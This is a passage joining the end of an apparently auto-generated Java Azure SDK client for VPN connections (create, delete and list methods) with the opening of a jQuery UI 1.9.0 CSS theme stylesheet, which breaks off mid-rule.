Observable<ServiceResponse<VpnConnectionInner>> beginCreateOrUpdateWithServiceResponseAsync(String resourceGroupName, String gatewayName, String connectionName, VpnConnectionInner vpnConnectionParameters) { if (this.client.subscriptionId() == null) { throw new IllegalArgumentException("Parameter this.client.subscriptionId() is required and cannot be null."); } if (resourceGroupName == null) { throw new IllegalArgumentException("Parameter resourceGroupName is required and cannot be null."); } if (gatewayName == null) { throw new IllegalArgumentException("Parameter gatewayName is required and cannot be null."); } if (connectionName == null) { throw new IllegalArgumentException("Parameter connectionName is required and cannot be null."); } if (vpnConnectionParameters == null) { throw new IllegalArgumentException("Parameter vpnConnectionParameters is required and cannot be null."); } Validator.validate(vpnConnectionParameters); final String apiVersion = "2019-02-01"; return service.beginCreateOrUpdate(this.client.subscriptionId(), resourceGroupName, gatewayName, connectionName, apiVersion, vpnConnectionParameters, this.client.acceptLanguage(), this.client.userAgent()) .flatMap(new Func1<Response<ResponseBody>, Observable<ServiceResponse<VpnConnectionInner>>>() { @Override public Observable<ServiceResponse<VpnConnectionInner>> call(Response<ResponseBody> response) { try { ServiceResponse<VpnConnectionInner> clientResponse = beginCreateOrUpdateDelegate(response); return Observable.just(clientResponse); } catch (Throwable t) { return Observable.error(t); } } }); } private ServiceResponse<VpnConnectionInner> beginCreateOrUpdateDelegate(Response<ResponseBody> response) throws ErrorException, IOException, IllegalArgumentException { return this.client.restClient().responseBuilderFactory().<VpnConnectionInner, ErrorException>newInstance(this.client.serializerAdapter()) .register(200, new TypeToken<VpnConnectionInner>() { }.getType()) .register(201, new TypeToken<VpnConnectionInner>() { }.getType()) .registerError(ErrorException.class) .build(response); } /** * Deletes a vpn connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the connection. * @throws IllegalArgumentException thrown if parameters fail the validation * @throws ErrorException thrown if the request is rejected by server * @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent */ public void delete(String resourceGroupName, String gatewayName, String connectionName) { deleteWithServiceResponseAsync(resourceGroupName, gatewayName, connectionName).toBlocking().last().body(); } /** * Deletes a vpn connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the connection. * @param serviceCallback the async ServiceCallback to handle successful and failed responses. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the {@link ServiceFuture} object */ public ServiceFuture<Void> deleteAsync(String resourceGroupName, String gatewayName, String connectionName, final ServiceCallback<Void> serviceCallback) { return ServiceFuture.fromResponse(deleteWithServiceResponseAsync(resourceGroupName, gatewayName, connectionName), serviceCallback); } /** * Deletes a vpn connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the connection. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the observable for the request */ public Observable<Void> deleteAsync(String resourceGroupName, String gatewayName, String connectionName) { return deleteWithServiceResponseAsync(resourceGroupName, gatewayName, connectionName).map(new Func1<ServiceResponse<Void>, Void>() { @Override public Void call(ServiceResponse<Void> response) { return response.body(); } }); } /** * Deletes a vpn connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the connection. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the observable for the request */ public Observable<ServiceResponse<Void>> deleteWithServiceResponseAsync(String resourceGroupName, String gatewayName, String connectionName) { if (this.client.subscriptionId() == null) { throw new IllegalArgumentException("Parameter this.client.subscriptionId() is required and cannot be null."); } if (resourceGroupName == null) { throw new IllegalArgumentException("Parameter resourceGroupName is required and cannot be null."); } if (gatewayName == null) { throw new IllegalArgumentException("Parameter gatewayName is required and cannot be null."); } if (connectionName == null) { throw new IllegalArgumentException("Parameter connectionName is required and cannot be null."); } final String apiVersion = "2019-02-01"; Observable<Response<ResponseBody>> observable = service.delete(this.client.subscriptionId(), resourceGroupName, gatewayName, connectionName, apiVersion, this.client.acceptLanguage(), this.client.userAgent()); return client.getAzureClient().getPostOrDeleteResultAsync(observable, new TypeToken<Void>() { }.getType()); } /** * Deletes a vpn connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the connection. * @throws IllegalArgumentException thrown if parameters fail the validation * @throws ErrorException thrown if the request is rejected by server * @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent */ public void beginDelete(String resourceGroupName, String gatewayName, String connectionName) { beginDeleteWithServiceResponseAsync(resourceGroupName, gatewayName, connectionName).toBlocking().single().body(); } /** * Deletes a vpn connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the connection. * @param serviceCallback the async ServiceCallback to handle successful and failed responses. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the {@link ServiceFuture} object */ public ServiceFuture<Void> beginDeleteAsync(String resourceGroupName, String gatewayName, String connectionName, final ServiceCallback<Void> serviceCallback) { return ServiceFuture.fromResponse(beginDeleteWithServiceResponseAsync(resourceGroupName, gatewayName, connectionName), serviceCallback); } /** * Deletes a vpn connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the connection. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the {@link ServiceResponse} object if successful. */ public Observable<Void> beginDeleteAsync(String resourceGroupName, String gatewayName, String connectionName) { return beginDeleteWithServiceResponseAsync(resourceGroupName, gatewayName, connectionName).map(new Func1<ServiceResponse<Void>, Void>() { @Override public Void call(ServiceResponse<Void> response) { return response.body(); } }); } /** * Deletes a vpn connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the connection. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the {@link ServiceResponse} object if successful. */ public Observable<ServiceResponse<Void>> beginDeleteWithServiceResponseAsync(String resourceGroupName, String gatewayName, String connectionName) { if (this.client.subscriptionId() == null) { throw new IllegalArgumentException("Parameter this.client.subscriptionId() is required and cannot be null."); } if (resourceGroupName == null) { throw new IllegalArgumentException("Parameter resourceGroupName is required and cannot be null."); } if (gatewayName == null) { throw new IllegalArgumentException("Parameter gatewayName is required and cannot be null."); } if (connectionName == null) { throw new IllegalArgumentException("Parameter connectionName is required and cannot be null."); } final String apiVersion = "2019-02-01"; return service.beginDelete(this.client.subscriptionId(), resourceGroupName, gatewayName, connectionName, apiVersion, this.client.acceptLanguage(), this.client.userAgent()) .flatMap(new Func1<Response<ResponseBody>, Observable<ServiceResponse<Void>>>() { @Override public Observable<ServiceResponse<Void>> call(Response<ResponseBody> response) { try { ServiceResponse<Void> clientResponse = beginDeleteDelegate(response); return Observable.just(clientResponse); } catch (Throwable t) { return Observable.error(t); } } }); } private ServiceResponse<Void> beginDeleteDelegate(Response<ResponseBody> response) throws ErrorException, IOException, IllegalArgumentException { return this.client.restClient().responseBuilderFactory().<Void, ErrorException>newInstance(this.client.serializerAdapter()) .register(200, new TypeToken<Void>() { }.getType()) .register(202, new TypeToken<Void>() { }.getType()) .register(204, new TypeToken<Void>() { }.getType()) .registerError(ErrorException.class) .build(response); } /** * Retrieves all vpn connections for a particular virtual wan vpn gateway. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @throws IllegalArgumentException thrown if parameters fail the validation * @throws ErrorException thrown if the request is rejected by server * @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent * @return the PagedList&lt;VpnConnectionInner&gt; object if successful. */ public PagedList<VpnConnectionInner> listByVpnGateway(final String resourceGroupName, final String gatewayName) { ServiceResponse<Page<VpnConnectionInner>> response = listByVpnGatewaySinglePageAsync(resourceGroupName, gatewayName).toBlocking().single(); return new PagedList<VpnConnectionInner>(response.body()) { @Override public Page<VpnConnectionInner> nextPage(String nextPageLink) { return listByVpnGatewayNextSinglePageAsync(nextPageLink).toBlocking().single().body(); } }; } /** * Retrieves all vpn connections for a particular virtual wan vpn gateway. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param serviceCallback the async ServiceCallback to handle successful and failed responses. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the {@link ServiceFuture} object */ public ServiceFuture<List<VpnConnectionInner>> listByVpnGatewayAsync(final String resourceGroupName, final String gatewayName, final ListOperationCallback<VpnConnectionInner> serviceCallback) { return AzureServiceFuture.fromPageResponse( listByVpnGatewaySinglePageAsync(resourceGroupName, gatewayName), new Func1<String, Observable<ServiceResponse<Page<VpnConnectionInner>>>>() { @Override public Observable<ServiceResponse<Page<VpnConnectionInner>>> call(String nextPageLink) { return listByVpnGatewayNextSinglePageAsync(nextPageLink); } }, serviceCallback); } /** * Retrieves all vpn connections for a particular virtual wan vpn gateway. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the observable to the PagedList&lt;VpnConnectionInner&gt; object */ public Observable<Page<VpnConnectionInner>> listByVpnGatewayAsync(final String resourceGroupName, final String gatewayName) { return listByVpnGatewayWithServiceResponseAsync(resourceGroupName, gatewayName) .map(new Func1<ServiceResponse<Page<VpnConnectionInner>>, Page<VpnConnectionInner>>() { @Override public Page<VpnConnectionInner> call(ServiceResponse<Page<VpnConnectionInner>> response) { return response.body(); } }); } /** * Retrieves all vpn connections for a particular virtual wan vpn gateway. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the observable to the PagedList&lt;VpnConnectionInner&gt; object */ public Observable<ServiceResponse<Page<VpnConnectionInner>>> listByVpnGatewayWithServiceResponseAsync(final String resourceGroupName, final String gatewayName) { return listByVpnGatewaySinglePageAsync(resourceGroupName, gatewayName) .concatMap(new Func1<ServiceResponse<Page<VpnConnectionInner>>, Observable<ServiceResponse<Page<VpnConnectionInner>>>>() { @Override public Observable<ServiceResponse<Page<VpnConnectionInner>>> call(ServiceResponse<Page<VpnConnectionInner>> page) { String nextPageLink = page.body().nextPageLink(); if (nextPageLink == null) { return Observable.just(page); } return Observable.just(page).concatWith(listByVpnGatewayNextWithServiceResponseAsync(nextPageLink)); } }); } /** * Retrieves all vpn connections for a particular virtual wan vpn gateway. * ServiceResponse<PageImpl<VpnConnectionInner>> * @param resourceGroupName The resource group name of the VpnGateway. ServiceResponse<PageImpl<VpnConnectionInner>> * @param gatewayName The name of the gateway. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the PagedList&lt;VpnConnectionInner&gt; object wrapped in {@link ServiceResponse} if successful. */ public Observable<ServiceResponse<Page<VpnConnectionInner>>> listByVpnGatewaySinglePageAsync(final String resourceGroupName, final String gatewayName) { if (this.client.subscriptionId() == null) { throw new IllegalArgumentException("Parameter this.client.subscriptionId() is required and cannot be null."); } if (resourceGroupName == null) { throw new IllegalArgumentException("Parameter resourceGroupName is required and cannot be null."); } if (gatewayName == null) { throw new IllegalArgumentException("Parameter gatewayName is required and cannot be null."); } final String apiVersion = "2019-02-01"; return service.listByVpnGateway(this.client.subscriptionId(), resourceGroupName, gatewayName, apiVersion, this.client.acceptLanguage(), this.client.userAgent()) .flatMap(new Func1<Response<ResponseBody>, Observable<ServiceResponse<Page<VpnConnectionInner>>>>() { @Override public Observable<ServiceResponse<Page<VpnConnectionInner>>> call(Response<ResponseBody> response) { try { ServiceResponse<PageImpl<VpnConnectionInner>> result = listByVpnGatewayDelegate(response); return Observable.just(new ServiceResponse<Page<VpnConnectionInner>>(result.body(), result.response())); } catch (Throwable t) { return Observable.error(t); } } }); } private ServiceResponse<PageImpl<VpnConnectionInner>> listByVpnGatewayDelegate(Response<ResponseBody> response) throws ErrorException, IOException, IllegalArgumentException { return this.client.restClient().responseBuilderFactory().<PageImpl<VpnConnectionInner>, ErrorException>newInstance(this.client.serializerAdapter()) .register(200, new TypeToken<PageImpl<VpnConnectionInner>>() { }.getType()) .registerError(ErrorException.class) .build(response); } /** * Retrieves all vpn connections for a particular virtual wan vpn gateway. * * @param nextPageLink The NextLink from the previous successful call to List operation. * @throws IllegalArgumentException thrown if parameters fail the validation * @throws ErrorException thrown if the request is rejected by server * @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent * @return the PagedList&lt;VpnConnectionInner&gt; object if successful. */ public PagedList<VpnConnectionInner> listByVpnGatewayNext(final String nextPageLink) { ServiceResponse<Page<VpnConnectionInner>> response = listByVpnGatewayNextSinglePageAsync(nextPageLink).toBlocking().single(); return new PagedList<VpnConnectionInner>(response.body()) { @Override public Page<VpnConnectionInner> nextPage(String nextPageLink) { return listByVpnGatewayNextSinglePageAsync(nextPageLink).toBlocking().single().body(); } }; } /** * Retrieves all vpn connections for a particular virtual wan vpn gateway. * * @param nextPageLink The NextLink from the previous successful call to List operation. * @param serviceFuture the ServiceFuture object tracking the Retrofit calls * @param serviceCallback the async ServiceCallback to handle successful and failed responses. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the {@link ServiceFuture} object */ public ServiceFuture<List<VpnConnectionInner>> listByVpnGatewayNextAsync(final String nextPageLink, final ServiceFuture<List<VpnConnectionInner>> serviceFuture, final ListOperationCallback<VpnConnectionInner> serviceCallback) { return AzureServiceFuture.fromPageResponse( listByVpnGatewayNextSinglePageAsync(nextPageLink), new Func1<String, Observable<ServiceResponse<Page<VpnConnectionInner>>>>() { @Override public Observable<ServiceResponse<Page<VpnConnectionInner>>> call(String nextPageLink) { return listByVpnGatewayNextSinglePageAsync(nextPageLink); } }, serviceCallback); } /** * Retrieves all vpn connections for a particular virtual wan vpn gateway. * * @param nextPageLink The NextLink from the previous successful call to List operation. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the observable to the PagedList&lt;VpnConnectionInner&gt; object */ public Observable<Page<VpnConnectionInner>> listByVpnGatewayNextAsync(final String nextPageLink) { return listByVpnGatewayNextWithServiceResponseAsync(nextPageLink) .map(new Func1<ServiceResponse<Page<VpnConnectionInner>>, Page<VpnConnectionInner>>() { @Override public Page<VpnConnectionInner> call(ServiceResponse<Page<VpnConnectionInner>> response) { return response.body(); } }); } /** * Retrieves all vpn connections for a particular virtual wan vpn gateway. * * @param nextPageLink The NextLink from the previous successful call to List operation. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the observable to the PagedList&lt;VpnConnectionInner&gt; object */ public Observable<ServiceResponse<Page<VpnConnectionInner>>> listByVpnGatewayNextWithServiceResponseAsync(final String nextPageLink) { return listByVpnGatewayNextSinglePageAsync(nextPageLink) .concatMap(new Func1<ServiceResponse<Page<VpnConnectionInner>>, Observable<ServiceResponse<Page<VpnConnectionInner>>>>() { @Override public Observable<ServiceResponse<Page<VpnConnectionInner>>> call(ServiceResponse<Page<VpnConnectionInner>> page) { String nextPageLink = page.body().nextPageLink(); if (nextPageLink == null) { return Observable.just(page); } return Observable.just(page).concatWith(listByVpnGatewayNextWithServiceResponseAsync(nextPageLink)); } }); } /** * Retrieves all vpn connections for a particular virtual wan vpn gateway. * ServiceResponse<PageImpl<VpnConnectionInner>> * @param nextPageLink The NextLink from the previous successful call to List operation. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the PagedList&lt;VpnConnectionInner&gt; object wrapped in {@link ServiceResponse} if successful. */ public Observable<ServiceResponse<Page<VpnConnectionInner>>> listByVpnGatewayNextSinglePageAsync(final String nextPageLink) { if (nextPageLink == null) { throw new IllegalArgumentException("Parameter nextPageLink is required and cannot be null."); } String nextUrl = String.format("%s", nextPageLink); return service.listByVpnGatewayNext(nextUrl, this.client.acceptLanguage(), this.client.userAgent()) .flatMap(new Func1<Response<ResponseBody>, Observable<ServiceResponse<Page<VpnConnectionInner>>>>() { @Override public Observable<ServiceResponse<Page<VpnConnectionInner>>> call(Response<ResponseBody> response) { try { ServiceResponse<PageImpl<VpnConnectionInner>> result = listByVpnGatewayNextDelegate(response); return Observable.just(new ServiceResponse<Page<VpnConnectionInner>>(result.body(), result.response())); } catch (Throwable t) { return Observable.error(t); } } }); } private ServiceResponse<PageImpl<VpnConnectionInner>> listByVpnGatewayNextDelegate(Response<ResponseBody> response) throws ErrorException, IOException, IllegalArgumentException { return this.client.restClient().responseBuilderFactory().<PageImpl<VpnConnectionInner>, ErrorException>newInstance(this.client.serializerAdapter()) .register(200, new TypeToken<PageImpl<VpnConnectionInner>>() { }.getType()) .registerError(ErrorException.class) .build(response); } }
{ "pile_set_name": "Github" }
/*! jQuery UI - v1.9.0 - 2012-10-12 * http://jqueryui.com * Includes: jquery.ui.core.css, jquery.ui.resizable.css, jquery.ui.selectable.css, jquery.ui.accordion.css, jquery.ui.autocomplete.css, jquery.ui.button.css, jquery.ui.datepicker.css, jquery.ui.dialog.css, jquery.ui.menu.css, jquery.ui.progressbar.css, jquery.ui.slider.css, jquery.ui.spinner.css, jquery.ui.tabs.css, jquery.ui.tooltip.css * To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=sans-serif&fwDefault=normal&fsDefault=14px&cornerRadius=5px&bgColorHeader=2b2b2b&bgTextureHeader=06_inset_hard.png&bgImgOpacityHeader=5&borderColorHeader=aaaaaa&fcHeader=d6d6d6&iconColorHeader=ffc905&bgColorContent=f2f2f2&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=cfcfcf&fcContent=222222&iconColorContent=222222&bgColorDefault=ffc905&bgTextureDefault=05_inset_soft.png&bgImgOpacityDefault=45&borderColorDefault=d6b18a&fcDefault=8a4d0f&iconColorDefault=774322&bgColorHover=ffec52&bgTextureHover=05_inset_soft.png&bgImgOpacityHover=75&borderColorHover=d1a200&fcHover=754b00&iconColorHover=8a4e19&bgColorActive=5e5e5e&bgTextureActive=05_inset_soft.png&bgImgOpacityActive=15&borderColorActive=2e2e2e&fcActive=ffffff&iconColorActive=1c1c1c&bgColorHighlight=383838&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=100&borderColorHighlight=000000&fcHighlight=dedede&iconColorHighlight=ffbc0f&bgColorError=ff6124&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=e9754e&fcError=752400&iconColorError=303030&bgColorOverlay=303030&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=70&bgColorShadow=303030&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=70&thicknessShadow=6px&offsetTopShadow=-6px&offsetLeftShadow=-6px&cornerRadiusShadow=8px * Copyright (c) 2012 jQuery Foundation and other contributors Licensed MIT */ /* Layout helpers ----------------------------------*/ .ui-helper-hidden { display: none; } .ui-helper-hidden-accessible { position: absolute !important; clip: rect(1px 1px 1px 1px); clip: rect(1px,1px,1px,1px); } .ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; } .ui-helper-clearfix:before, .ui-helper-clearfix:after { content: ""; display: table; } .ui-helper-clearfix:after { clear: both; } .ui-helper-clearfix { zoom: 1; } .ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); } /* Interaction Cues ----------------------------------*/ .ui-state-disabled { cursor: default !important; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } /* Misc visuals ----------------------------------*/ /* Overlays */ .ui-widget-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } .ui-resizable { position: relative;} .ui-resizable-handle { position: absolute;font-size: 0.1px; display: block; } .ui-resizable-disabled .ui-resizable-handle, .ui-resizable-autohide .ui-resizable-handle { display: none; } .ui-resizable-n { cursor: n-resize; height: 7px; width: 100%; top: -5px; left: 0; } .ui-resizable-s { cursor: s-resize; height: 7px; width: 100%; bottom: -5px; left: 0; } .ui-resizable-e { cursor: e-resize; width: 7px; right: -5px; top: 0; height: 100%; } .ui-resizable-w { cursor: w-resize; width: 7px; left: -5px; top: 0; height: 100%; } .ui-resizable-se { cursor: se-resize; width: 12px; height: 12px; right: 1px; bottom: 1px; } .ui-resizable-sw { cursor: sw-resize; width: 9px; height: 9px; left: -5px; bottom: -5px; } .ui-resizable-nw { cursor: nw-resize; width: 9px; height: 9px; left: -5px; top: -5px; } .ui-resizable-ne { cursor: ne-resize; width: 9px; height: 9px; right: -5px; top: -5px;}.ui-selectable-helper { position: absolute; z-index: 100; border:1px dotted black; } .ui-accordion .ui-accordion-header { display: block; cursor: pointer; position: relative; margin-top: 2px; padding: .5em .5em .5em .7em; zoom: 1; } .ui-accordion .ui-accordion-icons { padding-left: 2.2em; } .ui-accordion .ui-accordion-noicons { padding-left: .7em; } .ui-accordion .ui-accordion-icons .ui-accordion-icons { padding-left: 2.2em; } .ui-accordion .ui-accordion-header .ui-accordion-header-icon { position: absolute; left: .5em; top: 50%; margin-top: -8px; } .ui-accordion .ui-accordion-content { padding: 1em 2.2em; border-top: 0; overflow: auto; zoom: 1; } .ui-autocomplete { position: absolute; cursor: default; } /* workarounds */ * html .ui-autocomplete { width:1px; } /* without this, the menu expands to 100% in IE6 */ .ui-button { display: inline-block; position: relative; padding: 0; margin-right: .1em; cursor: pointer; text-align: center; zoom: 1; overflow: visible; } /* the overflow property removes extra width in IE */ .ui-button, .ui-button:link, .ui-button:visited, .ui-button:hover, .ui-button:active { text-decoration: none; } .ui-button-icon-only { width: 2.2em; } /* to make room for the icon, a width needs to be set here */ button.ui-button-icon-only { width: 2.4em; } /* button elements seem to need a little more width */ .ui-button-icons-only { width: 3.4em; } button.ui-button-icons-only { width: 3.7em; } /*button text element */ .ui-button .ui-button-text { display: block; line-height: 1.4; } .ui-button-text-only .ui-button-text { padding: .4em 1em; } .ui-button-icon-only .ui-button-text, .ui-button-icons-only .ui-button-text { padding: .4em; text-indent: -9999999px; } .ui-button-text-icon-primary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 1em .4em 2.1em; } .ui-button-text-icon-secondary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 2.1em .4em 1em; } .ui-button-text-icons .ui-button-text { padding-left: 2.1em; padding-right: 2.1em; } /* no icon support for input elements, provide padding by default */ input.ui-button { padding: .4em 1em; } /*button icon element(s) */ .ui-button-icon-only .ui-icon, .ui-button-text-icon-primary .ui-icon, .ui-button-text-icon-secondary .ui-icon, .ui-button-text-icons .ui-icon, .ui-button-icons-only .ui-icon { position: absolute; top: 50%; margin-top: -8px; } .ui-button-icon-only .ui-icon { left: 50%; margin-left: -8px; } .ui-button-text-icon-primary .ui-button-icon-primary, .ui-button-text-icons .ui-button-icon-primary, .ui-button-icons-only .ui-button-icon-primary { left: .5em; } .ui-button-text-icon-secondary .ui-button-icon-secondary, .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } /*button sets*/ .ui-buttonset { margin-right: 7px; } .ui-buttonset .ui-button { margin-left: 0; margin-right: -.3em; } /* workarounds */ button.ui-button::-moz-focus-inner { border: 0; padding: 0; } /* reset extra padding in Firefox */ .ui-datepicker { width: 17em; padding: .2em .2em 0; display: none; } .ui-datepicker .ui-datepicker-header { position:relative; padding:.2em 0; } .ui-datepicker .ui-datepicker-prev, .ui-datepicker .ui-datepicker-next { position:absolute; top: 2px; width: 1.8em; height: 1.8em; } .ui-datepicker .ui-datepicker-prev-hover, .ui-datepicker .ui-datepicker-next-hover { top: 1px; } .ui-datepicker .ui-datepicker-prev { left:2px; } .ui-datepicker .ui-datepicker-next { right:2px; } .ui-datepicker .ui-datepicker-prev-hover { left:1px; } .ui-datepicker .ui-datepicker-next-hover { right:1px; } .ui-datepicker .ui-datepicker-prev span, .ui-datepicker .ui-datepicker-next span { display: block; position: absolute; left: 50%; margin-left: -8px; top: 50%; margin-top: -8px; } .ui-datepicker .ui-datepicker-title { margin: 0 2.3em; line-height: 1.8em; text-align: center; } .ui-datepicker .ui-datepicker-title select { font-size:1em; margin:1px 0; } .ui-datepicker select.ui-datepicker-month-year {width: 100%;} .ui-datepicker select.ui-datepicker-month, .ui-datepicker select.ui-datepicker-year { width: 49%;} .ui-datepicker table {width: 100%; font-size: .9em; border-collapse: collapse; margin:0 0 .4em; } .ui-datepicker th { padding: .7em .3em; text-align: center; font-weight: bold; border: 0; } .ui-datepicker td { border: 0; padding: 1px; } .ui-datepicker td span, .ui-datepicker td a { display: block; padding: .2em; text-align: right; text-decoration: none; } .ui-datepicker .ui-datepicker-buttonpane { background-image: none; margin: .7em 0 0 0; padding:0 .2em; border-left: 0; border-right: 0; border-bottom: 0; } .ui-datepicker .ui-datepicker-buttonpane button { float: right; margin: .5em .2em .4em; cursor: pointer; padding: .2em .6em .3em .6em; width:auto; overflow:visible; } .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current { float:left; } /* with multiple calendars */ .ui-datepicker.ui-datepicker-multi { width:auto; } .ui-datepicker-multi .ui-datepicker-group { float:left; } .ui-datepicker-multi .ui-datepicker-group table { width:95%; margin:0 auto .4em; } .ui-datepicker-multi-2 .ui-datepicker-group { width:50%; } .ui-datepicker-multi-3 .ui-datepicker-group { width:33.3%; } .ui-datepicker-multi-4 .ui-datepicker-group { width:25%; } .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header { border-left-width:0; } .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header { border-left-width:0; } .ui-datepicker-multi .ui-datepicker-buttonpane { clear:left; } .ui-datepicker-row-break { clear:both; width:100%; font-size:0em; } /* RTL support */ .ui-datepicker-rtl { direction: rtl; } .ui-datepicker-rtl .ui-datepicker-prev { right: 2px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next { left: 2px; right: auto; } .ui-datepicker-rtl .ui-datepicker-prev:hover { right: 1px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next:hover { left: 1px; right: auto; } .ui-datepicker-rtl .ui-datepicker-buttonpane { clear:right; } .ui-datepicker-rtl .ui-datepicker-buttonpane button { float: left; } .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current { float:right; } .ui-datepicker-rtl .ui-datepicker-group { float:right; } .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header { border-right-width:0; border-left-width:1px; } .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header { border-right-width:0; border-left-width:1px; } /* IE6 IFRAME FIX (taken from datepicker 1.5.3 */ .ui-datepicker-cover { position: absolute; /*must have*/ z-index: -1; /*must have*/ filter: mask(); /*must have*/ top: -4px; /*must have*/ left: -4px; /*must have*/ width: 200px; /*must have*/ height: 200px; /*must have*/ }.ui-dialog { position: absolute; padding: .2em; width: 300px; overflow: hidden; } .ui-dialog .ui-dialog-titlebar { padding: .4em 1em; position: relative; } .ui-dialog .ui-dialog-title { float: left; margin: .1em 16px .1em 0; } .ui-dialog .ui-dialog-titlebar-close { position: absolute; right: .3em; top: 50%; width: 19px; margin: -10px 0 0 0; padding: 1px; height: 18px; } .ui-dialog .ui-dialog-titlebar-close span { display: block; margin: 1px; } .ui-dialog .ui-dialog-titlebar-close:hover, .ui-dialog .ui-dialog-titlebar-close:focus { padding: 0; } .ui-dialog .ui-dialog-content { position: relative; border: 0; padding: .5em 1em; background: none; overflow: auto; zoom: 1; } .ui-dialog .ui-dialog-buttonpane { text-align: left; border-width: 1px 0 0 0; background-image: none; margin: .5em 0 0 0; padding: .3em 1em .5em .4em; } .ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset { float: right; } .ui-dialog .ui-dialog-buttonpane button { margin: .5em .4em .5em 0; cursor: pointer; } .ui-dialog .ui-resizable-se { width: 14px; height: 14px; right: 3px; bottom: 3px; } .ui-draggable .ui-dialog-titlebar { cursor: move; } .ui-menu { list-style:none; padding: 2px; margin: 0; display:block; outline: none; } .ui-menu .ui-menu { margin-top: -3px; position: absolute; } .ui-menu .ui-menu-item { margin: 0; padding: 0; zoom: 1; width: 100%; } .ui-menu .ui-menu-divider { margin: 5px -2px 5px -2px; height: 0; font-size: 0; line-height: 0; border-width: 1px 0 0 0; } .ui-menu .ui-menu-item a { text-decoration: none; display: block; padding: 2px .4em; line-height: 1.5; zoom: 1; font-weight: normal; } .ui-menu .ui-menu-item a.ui-state-focus, .ui-menu .ui-menu-item a.ui-state-active { font-weight: normal; margin: -1px; } .ui-menu .ui-state-disabled { font-weight: normal; margin: .4em 0 .2em; line-height: 1.5; } .ui-menu .ui-state-disabled a { cursor: default; } /* icon support */ .ui-menu-icons { position: relative; } .ui-menu-icons .ui-menu-item a { position: relative; padding-left: 2em; } /* left-aligned */ .ui-menu .ui-icon { position: absolute; top: .2em; left: .2em; } /* right-aligned */ .ui-menu .ui-menu-icon { position: static; float: right; } .ui-progressbar { height:2em; text-align: left; overflow: hidden; } .ui-progressbar .ui-progressbar-value {margin: -1px; height:100%; }.ui-slider { position: relative; text-align: left; } .ui-slider .ui-slider-handle { position: absolute; z-index: 2; width: 1.2em; height: 1.2em; cursor: default; } .ui-slider .ui-slider-range { position: absolute; z-index: 1; font-size: .7em; display: block; border: 0; background-position: 0 0; } .ui-slider-horizontal { height: .8em; } .ui-slider-horizontal .ui-slider-handle { top: -.3em; margin-left: -.6em; } .ui-slider-horizontal .ui-slider-range { top: 0; height: 100%; } .ui-slider-horizontal .ui-slider-range-min { left: 0; } .ui-slider-horizontal .ui-slider-range-max { right: 0; } .ui-slider-vertical { width: .8em; height: 100px; } .ui-slider-vertical .ui-slider-handle { left: -.3em; margin-left: 0; margin-bottom: -.6em; } .ui-slider-vertical .ui-slider-range { left: 0; width: 100%; } .ui-slider-vertical .ui-slider-range-min { bottom: 0; } .ui-slider-vertical .ui-slider-range-max { top: 0; }.ui-spinner { position:relative; display: inline-block; overflow: hidden; padding: 0; vertical-align: 